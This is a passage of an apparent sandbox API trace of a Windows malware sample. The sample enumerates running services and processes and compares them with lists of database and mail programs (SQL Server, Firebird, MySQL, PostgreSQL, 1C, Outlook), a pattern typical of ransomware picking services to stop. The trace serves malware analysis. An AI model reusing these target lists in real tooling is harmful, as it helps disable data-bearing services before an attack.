lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0244.769] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0244.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0244.769] lstrlenW (lpString="RpcSs") returned 5 [0244.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0244.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0244.769] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0244.769] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0244.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0244.769] lstrlenW (lpString="SamSs") returned 5 [0244.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0244.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0244.769] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0244.769] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0244.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0244.769] lstrlenW (lpString="Schedule") returned 8 [0244.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0244.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0244.769] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0244.769] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0244.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0244.769] lstrlenW (lpString="SENS") returned 4 [0244.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0244.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0244.769] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0244.769] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0244.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0244.770] lstrlenW (lpString="ShellHWDetection") returned 16 [0244.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0244.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0244.770] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0244.770] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0244.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0244.770] lstrlenW (lpString="Spooler") returned 7 [0244.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0244.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0244.770] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0244.770] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0244.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0244.770] lstrlenW (lpString="Themes") returned 6 [0244.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0244.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0244.770] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0244.770] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0244.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0244.770] lstrlenW (lpString="UxSms") returned 5 [0244.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0244.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0244.771] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0244.771] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0244.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0244.771] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x4232878 | out: hHeap=0x530000) returned 1 [0244.771] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0244.772] Process32FirstW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.773] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0244.773] lstrlenW (lpString="System") returned 6 [0244.773] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0244.773] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0244.773] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0244.773] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0244.773] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0244.773] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0244.773] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0244.773] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0244.773] lstrlenW (lpString="smss.exe") returned 8 [0244.773] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0244.774] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0244.774] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0244.774] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0244.774] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0244.774] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0244.774] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0244.774] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.774] lstrlenW (lpString="csrss.exe") returned 9 [0244.774] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0244.774] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0244.774] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0244.774] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0244.774] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0244.774] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0244.774] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0244.774] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0244.774] lstrlenW (lpString="wininit.exe") returned 11 [0244.774] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0244.774] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0244.775] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0244.775] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0244.775] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0244.775] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0244.775] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0244.775] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.775] lstrlenW (lpString="csrss.exe") returned 9 [0244.775] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0244.775] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0244.775] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0244.775] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0244.775] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0244.775] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0244.775] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0244.775] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0244.775] lstrlenW (lpString="winlogon.exe") returned 12 [0244.775] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0244.775] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0244.776] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0244.776] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0244.776] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0244.776] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0244.776] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0244.776] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0244.776] lstrlenW (lpString="services.exe") returned 12 [0244.776] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0244.776] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0244.776] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0244.776] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0244.776] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0244.776] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0244.776] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0244.776] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0244.776] lstrlenW (lpString="lsass.exe") returned 9 [0244.776] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0244.776] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0244.777] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0244.777] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0244.777] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0244.777] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0244.777] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0244.777] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0244.777] lstrlenW (lpString="lsm.exe") returned 7 [0244.777] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0244.777] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0244.777] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0244.777] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0244.777] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0244.777] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0244.777] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0244.777] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.777] lstrlenW (lpString="svchost.exe") returned 11 [0244.777] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0244.777] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0244.777] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0244.778] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0244.778] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0244.778] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0244.778] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0244.778] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.778] lstrlenW (lpString="svchost.exe") returned 11 [0244.778] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0244.778] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0244.778] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0244.778] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0244.778] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0244.778] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0244.778] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0244.778] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.779] lstrlenW (lpString="svchost.exe") returned 11 [0244.779] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0244.779] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0244.779] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0244.779] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0244.779] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0244.779] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0244.779] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0244.779] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.779] lstrlenW (lpString="svchost.exe") returned 11 [0244.779] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0244.779] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0244.779] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0244.779] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0244.779] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0244.779] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0244.779] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0244.779] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.780] lstrlenW (lpString="svchost.exe") returned 11 [0244.780] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0244.780] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0244.780] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0244.780] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0244.780] lstrlenW (lpString="audiodg.exe") returned 11 [0244.781] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.781] lstrlenW (lpString="svchost.exe") returned 11 [0244.781] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.781] lstrlenW (lpString="svchost.exe") returned 11 [0244.781] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0244.781] lstrlenW (lpString="userinit.exe") returned 12 [0244.781] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0244.782] lstrlenW (lpString="dwm.exe") returned 7 [0244.782] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0244.782] lstrlenW (lpString="explorer.exe") returned 12 [0244.782] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0244.782] lstrlenW (lpString="spoolsv.exe") returned 11 [0244.783] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0244.783] lstrlenW (lpString="taskhost.exe") returned 12 [0244.783] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0244.783] lstrlenW (lpString="svchost.exe") returned 11 [0244.783] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0244.783] lstrlenW (lpString="uyuquk.exe") returned 10 [0244.783] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0244.784] lstrlenW (lpString="reader_sl.exe") returned 13 [0244.784] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0244.784] lstrlenW (lpString="dllhost.exe") returned 11 [0244.784] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0244.784] CloseHandle (hObject=0x398) returned 1 [0244.784] Sleep (dwMilliseconds=0x1f4) [0245.335] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aeb20 [0245.345] EnumServicesStatusExW (in: hSCManager=0x42aeb20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0245.346] GetLastError () returned 0xea [0245.346] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc9a) returned 0x43493f0 [0245.346] EnumServicesStatusExW (in: hSCManager=0x42aeb20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43493f0, cbBufSize=0xc9a, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43493f0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0245.346] CloseServiceHandle (hSCObject=0x42aeb20) returned 1 [0245.346] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0245.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0245.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0245.346] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0245.346] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0245.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0245.346] lstrlenW (lpString="AudioSrv") returned 8 [0245.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0245.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0245.346] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0245.346] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0245.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0245.346] lstrlenW (lpString="BFE") returned 3 [0245.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0245.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0245.346] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0245.347] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0245.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0245.347] lstrlenW (lpString="CryptSvc") returned 8 [0245.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0245.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0245.347] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0245.347] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0245.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0245.347] lstrlenW (lpString="CscService") returned 10 [0245.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0245.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0245.347] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0245.347] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0245.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0245.347] lstrlenW (lpString="DcomLaunch") returned 10 [0245.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0245.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0245.347] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0245.347] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0245.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0245.347] lstrlenW (lpString="Dhcp") returned 4 [0245.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0245.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0245.347] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0245.347] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0245.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0245.347] lstrlenW (lpString="Dnscache") returned 8 [0245.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0245.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0245.347] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0245.347] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 